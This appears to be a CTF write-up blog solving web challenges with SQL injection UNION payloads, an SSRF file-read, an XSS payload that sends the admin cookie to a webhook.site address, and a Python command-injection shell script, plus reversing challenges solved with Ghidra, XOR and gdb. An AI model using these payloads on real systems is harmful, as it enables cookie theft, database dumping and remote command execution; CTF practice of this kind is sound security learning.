Playing Hacks and Stuffs!
P.S I’ll be updating since I haven’t really solved all the challs and the ctf is running forever ¯\_(ツ)_/¯
## Miscellaneous
## Networking
Going over to the web url shows this
Checking the page source gives the flag
Flag: utflag{1_l1ke_h1de_&_seek}
Going over to the web url shows this
Checking the cookies available shows this
I set the isCookieMonster
to true
And on refreshing the page I got the flag
Flag: utflag{c0ngrat5_tak3_a_byt3}
We are given this:
INSERT INTO users(username, password, email) VALUES ('admin', 'utflag{*****************}', 'contact@isss.io');
So this means the value stored in column password
will contain the flag
Moving over to the web url shows this
Searching for a valid mail returns the username it belongs to
But a non valid mail turns an empty array
When I inject a single quote '
it returns error
But using --
comments it and no error is shown
This means that the web server is vulneable to SQL Injection
We can also tell from the Challenge name 😉
Since only a single table is available and the flag is in the password column. I will use a union
query to get that
Payload: ' union select password from users --
And I got the flag
Flag: utflag{wow_lets_unionize}
Going over to the web url shows this
I tried including google.com
and it returns the content
One thing we should know is that not only http and https
are the url protocols there’s also gopher, ftp, file etc.
The file
protocol can be used in this case
We are already given the flag location to be at /
Let us get it
Payload: file:///flag.txt
And I get the flag
Flag: utflag{g0t_y0ur_r3s0urc3!}
Going over to the web url shows this
Giving it input shows this
When I clicked on the url it gave I got this
And it is just in the form tag
I can try inject html tags
Doing that works
From the challenge description the flag is in the admin cookie
So from this vulnerability which is of cause Cross Site Scripting (XSS) we can steal the admin cookie
But when I tried injecting a alert
tag I got error
Luckily I don’t even need that to steal the admin cookie
Here’s the payload I used
<img src=x onerror=this.src='https://webhook.site/04fe7606-2bda-443a-a66e-37be76febc63/?'+document.cookie;>
Back on the webhook site I got multiple http requess and each one contains the flag
Flag: utflag{boop_beep_ddj333}
Accessing the url shows this error
Sorry, only cool kids on the internal network are allowed to login.
I then accessed http://forever.isss.io:4225/
and got this
We can try using file
protocol to read local files
But we need the flag
The challenge name has already given us the hint of solving this which is a Server Side Request Forgery (SSRF) vulnerability
With this vulnerability we can access internal services running on the host
What we would want to access is {url}/flag
Doing that I got the flag
Flag: utflag{SSRF_isnt_so_bad_after_all}
The source code is given
After downloading it reading the content gives this
from flask import *
import subprocess
app = Flask(__name__)
@app.route('/', methods=['POST','GET'])
def index():
if request.method == 'POST':
url = request.form.get('url')
if not url is None:
command = 'ping -c 1 '+url
p = subprocess.run(command, shell=True, capture_output=True)
content = p.stdout.decode('ascii')
return render_template('index.html', content=content)
return render_template('index.html')
if __name__ == '__main__':
app.run(host='0.0.0.0')
We can see that if the request made is a GET
request it returns the content of index.html
else if the http request method is POST
it gets the content of the url from the request form and does a ping command on the url sent
Since the command is passed through subprocess and shell is set to True we can get command injection 🙂
Here’s my script for it
#!/usr/bin/python3
import requests
import re
while True:
try:
command = input('$ ')
if command.lower() != 'q':
url = 'http://forever.isss.io:4223'
req = requests.post(url, data={"url":f";{command}"})
# Extract value within <code> tags using regular expression >3
pattern = r"<code>(.*?)</code>"
match = re.search(pattern, req.text, re.DOTALL)
if match:
code_value = match.group(1)
print(code_value)
else:
print("No value found within <code> tags.")
else:
exit()
except Exception as e:
print(e)
Running it works
Flag: utflag{c0mmand_1nj3ct3d!}
We are given this
INSERT INTO ***********(***********, ***********, ***********) VALUES ('admin', 'utflag{*****************}', 'contact@isss.io');
Since this is a sequel to Baby SQLi
I’ll go straight to exploitation
In this case we don’t know the table nor the column where the flag is stored
But we can of cause get it 😉
First let us dump all the tables
Payload: ' union select table_name from information_schema.tables --
Looking at the result I found this table name fishy
secret_users_table_sfd33
Seems like it’s the right table 🤔
Let us check the coulumns there
Payload: ' union select column_name from information_schema.columns where table_name = 'secret_users_table_sfd33' --
At this point we would want to dump the passfrase
column from the secret_users_table_sfd33
table
Payload: ' union select passfrase from secret_users_table_sfd33 --
After I downloaded the binary I ran strings
on it and got the flag
Flag: utflag{plaintext_str1ngs_aRe_b3St_Str1ngs}
After downloading the binary I checked the file type
We are working with a x64 binary which is not stripped and has Position Independent Executable (PIE) enabled
I decompiled it in ghidra and here’s the main function
int main(void)
{
long in_FS_OFFSET;
int i;
uint local_7c;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
byte password [48];
undefined local_18;
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
local_78 = 0x43a26202d273534;
local_70 = 0x7172727000057377;
local_68 = 0x707037407710774;
local_60 = 0x3007800720070;
local_58 = 0x271737475717774;
local_50 = 0x3c02027104000471;
puts("enter the password:");
__isoc99_scanf("%48s",password);
for (i = 0; i < 48; i = i + 1) {
password[i] = password[i] ^ 0x41;
}
local_18 = 0;
local_7c = 0;
do {
if (47 < local_7c) {
printf("correct");
LAB_001012c6:
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
if (password[(int)local_7c] != *(byte *)((long)&local_78 + (long)(int)local_7c)) {
printf("incorrect");
goto LAB_001012c6;
}
local_7c = local_7c + 1;
} while( true );
}
From the decompiled code we can tell what it does:
So basically what we should do is to xor each character of the hex values of the flag with 0x41 and we would get the plaintext
I tried doing that but had issue with xoring it so instead I xored the whole bytes of the binary and got the flag lol
binary = bytearray(open('reversing-xor', 'rb').read())
dump = []
for i in binary:
dump.append(chr(i ^ 0x41).encode())
with open('dump', 'wb') as fd:
for i in dump:
fd.write(i)
Running it creates the dump file then on doing strings
I got the flag
Flag: utflag{E62DA13305F0F5BFF1A3A9ABA5604520C0EAE0CC}
After downloading the binary I checked the file type
It is a 64 bits binary and not stripped but has PIE enabled
Using ghidra I decompiled it and here’s the main function
void main(int argc,char **argv)
{
int iVar1;
if (argc != 2) {
__fprintf_chk(stderr,1,"Usage: %s <flag>\n",*argv);
/* WARNING: Subroutine does not return */
exit(1);
}
check(argv[1][10] == 'p');
check(argv[1][12] == 'e');
check(argv[1][8] == 'i');
check(argv[1][9] == 'm');
check(argv[1][14] == '\0');
iVar1 = memcmp("utflag{",argv[1],7);
check(iVar1 == 0);
check(argv[1][7] == 's');
check(argv[1][0xd] == '}');
check(argv[1][0xb] == 'l');
puts("Right!");
/* WARNING: Subroutine does not return */
exit(0);
}
Nothing much here just that we need to set each of argument 1 values and it’s index to the correct one
Doing that will give this utflag{simple}
We can confirm it by passing it as an argument
Flag: utflag{simple}
I did the normal checks and it’s the same thing
Decompiling in ghidra gives this
undefined8 main(void)
{
int cmp;
size_t length;
long in_FS_OFFSET;
int i;
byte local_188 [4];
undefined local_184;
undefined local_183;
undefined local_182;
undefined local_181;
undefined local_180;
undefined local_17f;
undefined local_17e;
undefined local_17d;
undefined local_17c;
undefined local_17b;
undefined local_17a;
undefined local_179;
undefined local_178;
undefined local_177;
undefined local_176;
undefined local_175;
undefined local_174;
undefined local_173;
undefined local_172;
undefined local_171;
undefined local_170;
undefined local_16f;
undefined local_16e;
undefined local_16d;
undefined local_16c;
undefined local_16b;
undefined local_16a;
undefined local_169;
undefined local_168;
undefined local_167;
undefined local_166;
undefined local_165;
byte flag [36];
undefined uStack_134;
char input [264];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
local_188[0] = 0x1d;
local_188[1] = 0x11;
local_188[2] = 0xe;
local_188[3] = 0x40;
local_184 = 0x41;
local_183 = 0x14;
local_182 = 0xf;
local_181 = 0x19;
local_180 = 0x5a;
local_17f = 0x5d;
local_17e = 0x17;
local_17d = 0x2c;
local_17c = 0x59;
local_17b = 0x18;
local_17a = 0x3a;
local_179 = 0x1c;
local_178 = 0x78;
local_177 = 0x19;
local_176 = 0x45;
local_175 = 0x1a;
local_174 = 0;
local_173 = 0;
local_172 = 0x12;
local_171 = 0x7f;
local_170 = 0x1c;
local_16f = 0x55;
local_16e = 0x2d;
local_16d = 0x1c;
local_16c = 7;
local_16b = 0x10;
local_16a = 0x1a;
local_169 = 0x5f;
local_168 = 0x45;
local_167 = 0x1f;
local_166 = 0x32;
local_165 = 0xf;
puts("enter the flag:");
fgets(input,256,stdin);
length = strlen(input);
if (length == 37) {
for (i = 0; i < 0x24; i = i + 1) {
length = strlen("heh, strings won\'t work here");
flag[i] = "heh, strings won\'t work here"[(ulong)(long)i % length] ^ local_188[i];
}
uStack_134 = 0;
length = strlen((char *)flag);
cmp = strncmp(input,(char *)flag,length);
if (cmp == 0) {
puts("correct!");
}
else {
puts("try again!");
}
}
else {
puts("try again!");
}
if (canary == *(long *)(in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
Looking at what it does just shows a xor encryption which isn’t too complex and can be easily reversible but the catch there is the usage of strcmp
Since it is going to compare our input with the flag and the flag will be in plaintext we can get the flag that way
To get the flag I’ll use gdb
First let us open it up and disassemble the main function
I will set a breakpoint at the second strlen
call but I need to first break at main and run
break main
break *0x555555400680
Now I will continue
Note that the input length must be 36
Flag: utflag{k33p_yoUr_memory_t0_yourselF}
Checking the file type shows the default configuration
Decompiling in ghidra shows this
int main(int argc,char **argv)
{
char cVar1;
int compare;
ulong uVar2;
undefined1 *flag_array;
char *pcVar3;
byte bVar4;
bVar4 = 0;
if (argc != 2) {
__fprintf_chk(stderr,1,"Usage: %s <flag>\n",*argv);
/* WARNING: Subroutine does not return */
exit(1);
}
srandom(0xf04d7e8c);
flag_array = flag;
do {
uVar2 = 0xffffffffffffffff;
pcVar3 = flag;
do {
if (uVar2 == 0) break;
uVar2 = uVar2 - 1;
cVar1 = *pcVar3;
pcVar3 = pcVar3 + (ulong)bVar4 * -2 + 1;
} while (cVar1 != '\0');
if ((byte *)(~uVar2 - 1) <= flag_array + -0x301010) {
compare = strcmp(flag,argv[1]);
if (compare == 0) {
puts("Right!");
}
else {
puts("Wrong!");
compare = 10;
}
return compare;
}
uVar2 = random();
*flag_array = *flag_array ^
(byte)((long)uVar2 >>
(((char)(uVar2 & 0xff) + (char)((uVar2 & 0xff) / 3) * -3) * '\b' & 0x3fU));
flag_array = flag_array + 1;
} while( true );
}
It receives our input which is passed in argument one and does some annoying xor 😂
Anywyas I’m not reversing that since it uses strcmp
to check if our input matches the flag
As I did in the previous chall gdb
I’ll set a breakpoint there
break main
c
break *main+196
r asdf
We get the flag
Flag: utflag{nowhere_is_safe}
P.S I’ll be updating it >3